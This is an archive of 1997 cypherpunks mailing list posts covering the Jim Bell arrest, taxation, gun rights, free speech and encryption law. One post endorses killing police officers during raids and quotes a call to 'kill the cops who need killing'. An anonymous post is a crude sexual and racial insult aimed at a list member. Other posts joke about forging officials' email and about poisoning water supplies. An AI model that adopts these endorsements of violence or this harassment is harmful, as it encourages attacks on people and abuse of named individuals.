From: Steve Schear <azur@netcom.com>
Date: Thu, 22 May 1997 06:07:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The USA is the world's biggest terrorist state
Message-ID: <v03102803afa91fef621c@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>The United States of America sits astride the world, holding the riding
>crop and ordering the other nations of the world around in various ways. It
>sends troops to distant parts of the world. It even takes on the main
>"peacekeeping" (meaning: choosing a faction and suppressing the other
>factions) role in Yugoslavia...surely a European problem, if a problem at
>all.
>

The US is in very real danger of reaping the same sort of maelstrom that
vanquished the Romans.  They were also very powerful, with tentacles
reaching almost to the limits of their known world, before a combination of
internal decay and dissention and reprisal from those vanquished put them
asunder.

The government's recent emphasis on terrorism is apt since they have
created so many enemies of ethnic, political, religious and social groups.
Even paranoids have enemies.  The internal threat is not near as great as
they portray, but with increased emphasis on suppression and prosecution
rather than addressing the ills, it will likely become a self-fulfilling
prophesy.  However, addressing the complaints of these militias is not
under consideration because it would undo the very fabric of Federal
jurisdictional excesses which provide the government's power base.

Economics and the freedom, or lack, it entails is key.  One reason our
political system doesn't work is the Fed's right to tax internal economic
activity as opposed to the excise taxes it was originally granted.  Too
much money (power) is concentrated in too few representatives who work in
relative isolation (ever try and get a meeting with your rep.) for most of
their term.  If internal taxes could only be levied by states, who then
were free to revenue share what they wished with the Feds (who would submit
their requests and budgets to the states), power might be so diffused as to
make nationwide lobbying too difficult and expensive and there would be a
much closer adherence to local interest.

We appear to be heading straight for a Whiskey Rebellion type showdown.  In
fact, many of the same complaints of retreat from the founding principles,
which were ignored in the 1780-90s, are echoing in the writings and
speeches of today's militia.  In the 1790s it was wealthy and powerful
eastern businessmen, mostly former Torries, who supported Hamilton and
Washington against the frontiersmen.  This time its the military industrial
complex.  This time I hope the resistance is much bettered prepared.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 22 May 1997 04:51:07 +0800
To: "Willaim H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <19970521092223.04748@bywater.songbird.com>
Message-ID: <3.0.2.32.19970521155948.007c2100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:05 PM 5/21/97 -0500, you wrote:

|
|It is very simple as to what the legitimate activities of the 
government
|is. It is explicitly spelled out in The Constitution of The United 
States.
|It states quite clearly in no uncertain terms what the federal 
government
|can and can not do. Unfortunately people like yourself and the 
majority of
|politicians feel that they can wipe their ass with this document 
whenever
|it suits their needs
|- -----------------------------------------------------------
|William H. Geiger III  http://www.amaranth.com/~whgiii
|Geiger Consulting    Cooking With Warp 4.0

More importantly perhaps, the Tenth Amendment directs, that is to say 
it is not left up to chance, who shall possess those unassigned powers:


"The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the states, are reserved to the states 
respectively, or to the people.

In many cases these reserved powers have been assumed by the federal 
government or abrogated by the people.

Alec 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 22 May 1997 04:46:58 +0800
To: cypherpunks@toad.com
Subject: PKP-Lemcom License Agreement
Message-ID: <1.5.4.32.19970521202326.0092f950@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to John Gilmore we offer the 1992 License
Agreement between PKP and Lemcom Systems filed
as an exhibit in the RSA v. PGP suit:

   http://jya.com/pkplem.htm  (41K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 04:38:48 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705182104.OAA20232@netcom14.netcom.com>
Message-ID: <Pine.SUN.3.91.970521160141.1337N-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 18 May 1997, Vladimir Z. Nuri wrote:

> R.A.:
> >You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
> >gets taken out of every pay check before you even see it.   Then, come 
> >April 15, you fill a piece of paper out with the hope you'll get some of 
> >it back.  But sometimes, Uncle Sam takes even more.
> 
> right. and those who do nothing to change this, certainly can't expect
> that it will ever change.  but in fact it *has* changed before. it
> wasn't always the case that money was withhold. this law was introduced
> during WWII as I understand it.

Of course.  That would be the perfect time for it.  Martial Law and all 
that.  Oppose it and you get thrown in jail...  or labeled a spy or 
something...  What else is new?  Declare martial law, then put the screws 
in.  Once in place they're almost imposible to remove without leaking 
loads of blood.
 
> is it true that something that can be done cannot be undone? or can
> the withholding tax be undone just as it was done? a certain amount
> of energy was expended in creating the situation that we find ourselves
> in-- decades of entrenchment. I submit that exactly the same amount
> of energy applied to the problem can *undo* it. it's a simple concept
> of conservation of energy. granted, a lot of energy is involved, I don't
> deny that. but *no* energy will get you absolutely nowhere. 

Welp, go for it.  Do whatever you think is appropriate to undo the law.  
I'd bet the people will agree with you, but the political scum that is, 
will not, nor is it likely that the media will allow you to speak your 
words. More likely weird allegations of child molestation, drug abuse, 
and plans of A.P. will "leak" out, and possibly a Jim Bell style raid on 
your house. :)  Asking your kongress kritter to undo this law is unlikely 
to result in much more than laughter.  So where does that leave you?

> what others are claiming is that no amount of energy will change
> anything, so why bother? indeed, why bother with your life at all?
> perhaps suicide is the easiest and ultimate solution for people who
> think this way. there are things in your life that you think you
> can change, right? why is the tax system not included in that category?
> I agree, one person cannot change the system. do not give me examples
> where one person failed. this is conservation of peoplehood; if many
> people were involved in its creation, than many must be involved in
> its destruction.

*Burp* Sorry, I'm too busy with living my life to do a Heaven's Gate 
special. :)  Since the money is taken out before we even see it, most 
people won't fight it, since it is already gone.

Well, then organize the many to do something if that is your wish.  
Nothing is holding you back.

I myself consult out.  Consulting out means that the money isn't taken 
out at all.  You just have to pay it back come April 15.  Day job, being 
a full time job, money gets taken out automagically by the evil agents 
of the IRS critters.  Consulting money, come the 1099 form, gets taxed 
after.

So even if you manage to upturn this law and get to keep the money until 
April 15, it wouldn't affect me much.  IMHO it's much easier if the money 
gets withheld, then having to pull hairs out doing tax forms come April.

Now if you can somehow repeal income tax, that would be a useful 
achievement. :)

I'm not opposed to taxes.  I'm opposed to their use without my say.  That 
is I want to tell Uncle Sam where the money goes.  If I decide my 30% 
that they chop out goes to the next stealth bomber, then that is where 
it should go.  If I say it should go to the schools, then that is where 
it should go, etc.  You think them kongress kritters will accept such a 
thing?  And no, not one cent of my "voluntary" contribution would go to 
kongress, were I to have it my way.  Hell, if I could even decide on 1/2 
of that, it would still be progress.

IMHO, this is nothing but a pipe dream, and I don't have any interest in 
politics.  I've too many other concerns to deal with.

But do whatever you feel is appropriate.  That in a nutshell was my 
opinion.  *Burp*

> oh really? here are some questions that anyone can ask about
> why their money was stolen.
> 
> 1. who is the person who stole my money?

In the case of taxes, Uncle Sam

> 2. why did they steal it?

For a billion things such as stealth bombers, for kogress salaries, for
bullets, for $3K military issue toilets that will survive nuke blasts, roads,
toll bridges, tax forms, black budget stuff, shipments to other countries,
jails, new draconian laws, bribe money, money to pay the prostitutes at the
congressional parties, "Just Say No" anti drug campains, trading coke for
guns, etc, etc, etc... 

> 3. what could prevent it from being stolen?

Welp, that's simple.  Quit your job and become homeless.  If you don't 
produce any money, they can't take any away from you.  They certainly 
can't put you in jail for it, and hell if they do, guess what, you get 
free food and a free place to sleep, and a big boyfriend named 'Bubba to 
keep you warm and fuzzy at night.

> 4. what can I do to protect my money from being stolen?

Work for the mob or something equally salacious, or get paid in cash and 
say you're unemployed, then go on welfare while you work, etc...

> government construction is an *engineering* problem. you cannot
> build something without putting thought and labor into it.
> I believe that if cpunks put their mind to it, they could create
> a better system than we now have-- and it wouldn't be anarchy (which
> is no system at all).

So put your mind to it and do something about it instead of yapping 
about it to us.  We don't give a shit.  If we did, we would have done 
something about it already.
 
> what if you showed up on the doorstep of a politician of your choice
> who you thought was stealing money from you? what if not only you
> but many people did this? would the government change? would they
> shoot you?

A few years back, the men in white would be called with a padded wagon, or
more likely today the jack booted ATF (ex BATFuck) men with guns and 
walkie talkies.
 
> I don't buy into the alienation and cynicism on this list peddled
> by TCM, truthmonger, et.al., and I suggest that anyone else who
> does is selling themself short, and in fact part of the problem and
> not the solution.

"If you're not part of the solution, you're part of the precipitate"  --
whomever.. Say, whatever you've been smoking, care to share it with us?  We
could use some I'm sure... 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 22 May 1997 04:45:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Hey, what does this mean?
In-Reply-To: <v03007804afa7d8fc47e2@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970521163045.13177M-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Tim May wrote:

> Anybody know what this means?

> According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> Arlington Circuit Court with one felony count of possession of bomb-making
> instructions and one misdemeanor count of resisting arrest. According to

Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?

he'll be on the streets tomorrow, no charges pressed.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 08:05:24 +0800
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199705212337.QAA20381@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, 
fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath 
to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a 
black man responds to one of his inane rants.

          ^. .^
          ( @ )
            c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 04:56:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Jim Bell 2
In-Reply-To: <v03007802afa7a6a35406@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970521162856.1337P-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Tim May wrote:

> About these charges I can of course say nothing. (Though I note that _my_
> SS card says quite clearly it is for tax and SS purposes ONLY, and is not
> be used for identification. When I pointed this out down at the Department
> of Motor Vehicles, I was met with a shrug and told that if I did not give
> my SS number as ID number I would not get a registration tag, and that if I
> persisted in arguing this at the counter that "security" would be called in
> to have me removed or arrested or tortured or whatever. By the way, would
> it be useful guerilla theater exercise to have our SS numbers tattooed on
> our forearms?)

Since the damn things are used for ID and secret shared keys, etc. doing 
so would fuck up your own privacy.  If you're gonna do that, encrypt it 
first. :)

> Who of us hasn't brainstormed about how to attack the security of a system,
> or the security of a water supply? Who of us hasn't thought about how easy
> it would be drop LSD or botulins in the water supplies of a major site? Is
> this also called "contingency planning"? Or "tiger team analysis"?

I do that all the time at work when we take a new system and install it 
so it can be sealed. :)
 
> It could be argued, and I hope it will be, that Bell was helping his friend
> Daly improve the security of his computer installation.

Let's pass it on to his lawyer.

> (Not to mention the vastly more important argument to use: First Amendment
> protection of speech. Conspiracy and RICO charges are hardly valid when
> only speech is involved...I'm not a lawyer, but I believe there has to be a
> realistic expectation that a crime is being planned to be carried out, with
> some reasonable chance of being completed, before a "conspiracy" can be
> charged. A few friends sitting around brainstorming about threats,
> counterthreats, and possible attacks does not a conspiracy make.)

Is RICO even constitutional? I bet McCarthy is smiling... :(

> >   Daly also told IRS agents that he had hypothetical discussions with
> >   Bell about contaminating water supplies and about making botulism
> >   toxin from green beans, the affidavit said.
> 
> And?

Yeah, well, the other day I was talking to someone about pissing in the 
water supply too...  Birds that fly over it, do it all the time.  Oh, and 
I'm gonna eat beans and fart, and pollute the air supply. :)  That was 
the discussion.  Will the arrest me next for that?
 
> >   In the April 17 and 18 interviews with IRS agents, Daly said that as part
> >   of his job, he "has keys and direct access to the Portland Bull Run
> >   water treatment facility."
> 
> And? (I can see scared officials firing Daly, unless he is protected by
> other interventionist laws.)

Yeah, and I have the root password for the machines I've installed and 
run.  Whoop Whoop.
 
> >   Daly said Monday that the conversations that he and Bell had were
> >   merely "intellectual fun-and-games discussions" between old friends
> >   who enjoy technical things.
> >
> >   "There's a difference between reasonable freedom of speech and
> >   unreasonable probability of attack," Daly said. "Standing around and
> >   flapping our lips about how it would be funny is way different from
> >   even contemplating actual attack."
> 
> Exactly. Seems some folks don't understand the First Amendment...this seems
> to be endemic in America today, especially amongst public officials.

But will the judge and jury remember this?
 
> >   Thursday, IRS agents searched the home of Robert East, a merchant
> >   radioman and a friend of Bell's. Among items seized was 3-foot length
> >   of carbon fiber.
> 
> Gee, could this carbon fiber be involved in his radio work? Gee.

Like maybe he was building a resistor?  Wait, I forgot, resistance if 
futile, you will be assimilated.

> >   The affidavit said East told agents that he and Bell had discussed "the
> >   possibility of putting the fibers down the air vents of a federal building"
> >   to kill its computers and about using the fiber against the IRS.
> 
> Sounds exactly like the sort of "what-if" theorizing that all technical
> people (and novelists, screenwriters, etc.) like to do. Also the staple of
> the "Infowar" mailing lists, not to mention "rec.pyrotechnics" sorts of
> newsgroups.

And how would a carbon fiber do that?
 
Hey, I have a bottle of Tabasco(tm) sauce on my desk.  Someone might come 
out of the woodwork and claim that I was planning to put that in the 
water supply.  Hehehehe... :(

> Free speech is under massive assalt in the Terror State of America.

You misspelled it.  It's the People's Republik of Amerika.  So where's 
the Save Jim fund?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 04:53:34 +0800
To: Jyri Kaljundi <jk@stallion.ee>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <Pine.GSO.3.95.970520114056.20181A-100000@nebula>
Message-ID: <Pine.SUN.3.91.970521164239.1337Q-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Jyri Kaljundi wrote:

> So how useful are things like e-mail messages and newsgroup postings in
> court? Can e-mail really be used as court evidence and has it actually
> been used in any cases? It might probably differ in different coutries and
> states, but there must be some generl opinion about this. Is it may be up
> to the police / court to decide if a message is really written by someone
> who's name is under there. You can easily forge e-mail, mail headers and
> mail logs. 


Well then we should forge mail from the likes of Janet Reno and post it to
the list.  Where's Vulis when you need him...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 22 May 1997 05:21:52 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Hey, what does this mean?
In-Reply-To: <v03007804afa7d8fc47e2@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970521165206.1337R-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


Okay, that does it.  Let's get the AOL disks out, copy bomb making 
material on them and mail them to Janet Reno and the like, then call the 
feds on them all. :)

On Tue, 20 May 1997, Tim May wrote:

> Anybody know what this means?
<...> 
>
> According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> Arlington Circuit Court with one felony count of possession of bomb-making
> instructions and one misdemeanor count of resisting arrest. According to
> DeGongue, there were indications found in the home that Aaron had also
> talked about nuclear weapons and terrorism with others, which could open
> the door for more charges to be filed.
<..>
> 
> Arlington detectives, to say, "This is outrageous. I'm a well-respected
> member of the Cosmos Club and the Bohemian Club! I am establishing the
> world's crypto policy and I fly to capitals around the world. I'm not some
> two-bit militia member like that guy arrested out in Portland for talking
> about sabotaging computers! What do you think this is, Soviet Russia?"

It's getting there...  Seems the fascists left Russia and took over 
Amerika.  As for the "guy in Portland", welp, if higher ups get the same 
treatment, then maybe we can turn the tied.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 22 May 1997 04:15:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007800afa7b7bc7809@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970521162124.1854A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Indeed, but the great bulk of people ("the masses") have almost never
> cared. They are going about their daily lives, trying to earn a living, and
> so on. That the distant government is suppressing others is usually of
> little concern to them. Nearly all revolutions are initiated and led by
> elites...I see no reason to expect this to different in "Techno-Revolution."

Yes, 

It is indeed surprising that more revolutions are not perpetrated by a 
large proportion of the population, although normally of course it is the 
case that once the ball is set rolling by a small group the rest of the 
sheeple join in, safety in numbers. This is of course mentioned in "the 
theory of oligarchival collectivism", the "sub-book" in Orwells 1984, 
where he mentions the impossibility of the proles rebelling because they 
are too concerned with the drudgery of their own lives to understand or 
care about the greater issues at stake within a society.
 
> Also, the "boiling a frog slowly" metaphor comes to mind...most people have
> little idea how the vise has tightened. And in the case of "gun rights,"
> most Americans are apparently of the opinion that their lives will be safer
> if all guns are banned.

Of course, nearly all guns are banned in the UK now, this did not 
directly affect me as I rarely used to shoot handguns, preferring rifle 
and shotgun.

The assumption that this will save a large number of lives is false of 
course, the government, when justifying this (which really wasn`t needed 
as the population at large were calling for banning of guns anyway), 
cited the statistic that more murders are commited with licensed guns 
than illegal ones, of course, if someone wants to murder someone they 
will always find a way, whether it is obtaining a gun illegally or using 
another weapon of some kind.

Really though this is irrelevant, this is why I objected to a number of 
the points raised at the time along the lines of "such a ban will be 
innefective", of course it will, but that is really not the point. The 
right to own a gun is a fundamental one, guns are one of our last levels 
of protection against government.

> (Which may be true, if _all_ guns were banned. Speaking hypothetically. And
> not necessarily proven (knives are notoriously effective, too, so it's not
> at all clear that violent deaths would diminish much.) But not all guns
> could ever be banned, and criminals would then have a major advantage of
> the defenseless. 

This is the case in the UK, where the carrying of ANY weapon by a member 
of the public (even something completely defensive, such as a can of 
mace) is illegal. I don`t recall particular instances, but I do remember 
several instances of people being prosecuted for assult when they had 
been defending themselves.

> And there's the little matter of reimbursing folks like me for the value of
> our guns, our reloading supplies, our gun magazines and books, and our
> "invested time." In other words, they want to take my guns, acquired
> legally, they'd better be prepared to remimburse me what I think all this
> stuff is worth (which they won't), and guarantee that criminals won't have
> guns (which they can't). 

After the Hungerford killings in about 1985 (when Michael Ryan killed 
about 10 to 20 civilians with a collection of rifles) the UK government 
banned all automatic rifles and other weapons like Uzi`s etc... Many of 
those who had their guns stolen by the state after this have still not 
been compensated (as if that made any difference).

We are under assult from the state in all respects, self defence is the 
only option.

> This is all separate from the clear language of
> the Second, of course. "When only cops have guns, how do you kill the cops
> who need killing?" (As some surely do, as the various cases of justifiable
> self-defense against cops, rogue or otherwise, make clear.)

Indeed, how is it always that the state justifies the behaviour of their 
employees (ie. our employees) by describing them as "rogue cops"... 
Presumably a state authorised beating of an anarchist or other 
politically undesirable person is justifiable, but a white cop beating up 
a black man is completely inexcusable...

> I don't know how it is the UK, but in the US it's fairly easy to have
> someone committed "for psychiatric evaluation" (observation). A Santa Cruz
> County Sherriff's Deputy told me once on the phone that my opinions could
> indicate that I was of unstable mind...his clear hint to me was that he
> could have me committed for a 48-hour stay in one of the local psychiatric
> prisons^H^H^H^H^H^H hospitals. 

I remember a few years ago being refused a shotgun licence because I had 
been "evaluated", it did not seem to concern the firearms division of the 
police force that I had been declared totally sane and "normal" after 
this "evaluation" (which, incidentally, only took the psychiatrist around 
20 minutes). As usual, the reason I was under suspicion at the time 
was because of my political opinions and because of some comments I had made.
When I re-applied the next year I was granted a licence, presumably they 
felt that at the time, when the police had to give a reason for refusing 
a certificate, they could not win a court challenge. I have my suspicions 
that when my certificate comes up for renewal (next couple of years I 
think) it will be revoked. Now of course the police do not even have to 
give a reason why they refused a certificate so it is next to impossible 
to challenge a decision in court. 

> Why would he do this? Well, in California
> one loses all rights to own guns for some period of time after such a
> pyschiatric commitment, regardless of the final determination. (I don't
> have a URL handy on this, but it's widely discussed in the guns rights
> groups.)

I`m sure this is the same in the UK, although I cannot be 100% certain, 
of course my "evaluation" did not take the form of a proper commital to a 
mental institution so I was able to obtain a shotgun licence shortly after.

> (I'm a believer that basic constitutional rights should not be taken away,
> even for convicted criminals, except insofar as the actual punishment
> requires. Thus, an imprisoned man loses his rights to move freely, of
> course, and perhaps rights related to this (gun ownership, obviously!). But
> once released, he should not lose his voting rights (which happens to
> convicted felons), gun ownership rights (ditto, for most felonies, as I
> recall), and so on. What would we think if a released prisoner lost his
> First Amendment rights? Or his Fourth, or Fifth? Etc.  (Don't laugh, many
> of these rights are already lost. Some in the process of parole, some even
> after parole ends.)

Absolutely, this is why I dislike the actions many states are taking 
against convicted paedophiles of informing people in the area they move 
to once released from jail. I believe that this is merely a form of 
speech so if the individual state employees choose to do this on their 
own time I have no problem with it, but using taxpayer money to persecute 
people who have served their punishment already leaves me with a bad feeling.

> By the way, one of the advantages of the huge number of things which are
> now felonies gives to the authorities is the ability to pile on a
> horrendous number of charges, some of which may "stick." This gives
> prosecutors bargaining power for pleas, so that they can get convictions
> without length trials.

This is observable all over the world now. There are, of course, two 
distinct advantages for the state in having such a large number of 
felonies, the first is what you mention above, the second that if the 
state chooses to fuck someone over they can always find some law they 
have broken, just about everyone is guilty of some felony or another.

> >Hmm, I don`t think this is really relevant though, it makes no difference
> >whether the discussions are theoretical or practical, they are still
> >valid discussions.
> 
> I agree with this point. Lucky was wrong to imply there's a difference in
> speech rights between "theoretical" and other forms of speech. A crime is a
> crime, of course, but talking about desirable courses of action, political
> outcomes, and so on is of course protected speech.
> 
> (Discussions which are actual criminal conspiracies is a touchy issue, and
> is a marginal area of the law, as near as I can tell. But essentially all
> discussions are protected unless strong evidence is presented that a crime
> is being plotted, and even then the speech is usually protected. Discussing
> tax evasion strategies, for example, has not been successfully prosecuted
> (per se), in any cases I am familiar with. And as Duncan noted, even
> sedition is hard to prove.)

>From a legal point of view I`m sure it is criminal in the UK to be 
involved in the plotting of any crime. From an ethical and moral point of 
view I really see no crime in even the direct plotting of, for example, 
murder, even if you draw up the plans and actual details of the crime. To 
me, the act of agression is perpetrated by A. The murderer himself, and 
B. If it was a hit, the people that hired him.

I have problems with people with auxhilliary roles, like getaway driver 
etc, as I believe although they commit no direct act of agression they 
participate in an active sense in the commision of the crime. This is 
where innocence in conspiracy moves onto shaky ground. 
However, I have no problem at all with saying I believe no speech, no 
matter how specific and intended to facilitate or discuss commision of 
a crime, is wrong.

> >I could not begin to aspire to your collection of rifles and other
> >defensive weapons Tim, but I too have been placing keys to my gun cabinet
> >and shells in convenient places for quick access at one of those "4am
> >black clad ninja just burst through my front door" moments.
> 
> It's a sad state of affairs when the police increasingly resort to the 4
> a.m. Nomex-hooded, no-warnings-issued SWAT-type raids. Readers may recall
> the many stories of innocents killed when they were shocked out of deep
> slumber by "flash-bangs" thrown into their bedrooms and the sudden
> appearance of black-clad ninja raiders.

I personally see no difference between the police breaking into my house 
and anyone else doing the same. If I see someone about to attack me I will 
defend myself by any means necessary. If that means I kill a cop, well 
that`s a bonus point.

> Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
> growing pot on his ranch. He and his wife were startled by the ninjas
> bursting into their bedroom. The doctor reached for a handgun in his
> nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
> raiders. The estate of the doctor is currently suing the LA County
> Sheriff's Department and other agencies, but you know how those things go.
> I know I shock a lot of people by saying this, but I think those involved
> in the raid should be tried on murder charges and, if found guilty,
> executed promptly. And if the court system won't do this, which it
> obviously won't, then the alternative is <CENSORED CENSORED CENSORED
> CENSORED>.

This is quite right, the police had no right to be in his house as he had 
commited no ethical crime, therefore he merely attempted to defend 
himself against people who had broken into his house. If they then shot 
him they are guilty of murder, no question about it.

If the government want a "war on drugs" they can expect a real war, where 
the enemy fight back. 

All of those fortunate enough to be living someone where they are legally 
entitled to obtain defensive weapons, Lock and load.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steffen Zahn <zahn@berlin.snafu.de>
Date: Thu, 22 May 1997 00:15:43 +0800
To: cypherpunks@algebra.com
Subject: Re: encryption laws
Message-ID: <199705211558.RAA03639@n246-140.berlin.snafu.de>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 Jul 1993, Allan Thompson wrote:

>         Would it be possible for a court to subpeona a encrypted file or key,
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

How about claiming that you used a OTP and then revealing the key?
Or should I say a key?

Regards
  Steffen

-- 
home email:  domain: berlin.snafu.de, user: zahn
To send email to me combine user@domain above to construct my address.
Use of my address for unsolicited commercial advertising is forbidden.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 22 May 1997 06:20:40 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Why I think Jim Bell is getting railroaded
In-Reply-To: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
Message-ID: <33837141.2F1C@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> I think that the Government is trying to make an example of Mr. Bell.  I
> think
> that much of the charges reported in the news are flase.
> 
> Here is why...
> 
> 1) They claim that Jim was actively trying to disrupt 911 service and poison
> the Bull Run water supply.  These are non-political targets.  Jim only thinks
> in political targets. 

He only mouths off on cypherpunks about FBI agents and such but 
I know a lot of terrorists who consider the 911 system a political
target. The UVF in Ulster blew up a dam (so they could blame it on
the IRA). 

I would not depend on Bell to any extent in any circumstance to
be reliable.



> 2) The warrent is sealed, yet the media is reporting all sorts of things  about
> the case.  Where is the information coming from?  

Who says they have any at all? The US press does not need
information to publish articles. Bell has published his stuff
very widely.


> 3) The suspected crimes list keeps changing.  How many times has the
> "official" story changed?  Each time it gets more and more lurid.  

Expanding is the word. Put someone under a microscope and you
are liable to find out quite a bit about them. 

Bell is not the kind of loon to stick one's neck out for. It may
well be that he did not explicitly advocate murder but he danced
awfully close to that line. My understanding is that the original
charge relates to statements made in person that were interpreted 
as threatening. Each act individually may not amount to a 
criminal act but together they could well do so.

For example in the 1970s a series of articles was written
under the pen-name "Brownie" advocating the "Ballot Bomb"
strategy in which political action would be used to compliment a
terrorist campaign. Now it is arguable that the articles were or
were not protected speech under the first amendment but consider 
the situation if that person were to say to someone such as a policeman 
"I know how to fix you". If as would be quite likely the policeman 
was aware of the "Brownie" letters the intent to communicate a
threat of murder would be quite plain.

Before charging to the rescue its a good idea to make sure
that you are rescuing the right person. Government agents
also have the right not to be threatened with murder.


The first amendment has never been interpreted as making
threatening speech or fraud legal, even by those such as
Jefferson who argued against libel laws.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 22 May 1997 02:28:24 +0800
To: stewarts@ix.netcom.com
Subject: Re: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970520201249.007327b8@popd.ix.netcom.com>
Message-ID: <199705211722.SAA01807@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> At 11:44 AM 5/18/97 +0100, Adam Back wrote:
> >> I don`t recall what the situation is in the US, is it the case that
> >> the provider of the information is guilty of export, or the person
